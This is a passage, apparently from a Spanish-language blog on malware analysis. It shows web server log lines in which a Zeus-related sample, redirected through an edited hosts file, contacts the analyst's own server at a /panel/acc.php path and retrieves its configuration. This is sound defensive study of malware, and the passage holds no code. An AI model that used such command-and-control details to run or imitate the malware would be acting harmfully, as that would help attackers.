192.168.1.250 – - [15/Feb/2012 00:22:23] “POST /panel/acc.php HTTP/1.1″ 501 -
192.168.1.250 – - [15/Feb/2012 00:22:29] code 501, message Unsupported method (‘POST’)
192.168.1.250 – - [15/Feb/2012 00:22:29] “POST /panel/acc.php HTTP/1.1″ 501 -

Bingo! Ha conseguido recoger el archivo de configuración, pero como no dispongo de la configuración de Zeus, no puede hacer el POST correcto al servidor web, pero nos sirve para que al menos recoja el archivo de configuración.

En esta parte del artículo, hemos podido comprobar como el Malware se conecta a nuestro servidor web, ya que lo engañamos modificado el archivo hosts y como este recoge la configuración.

Saludos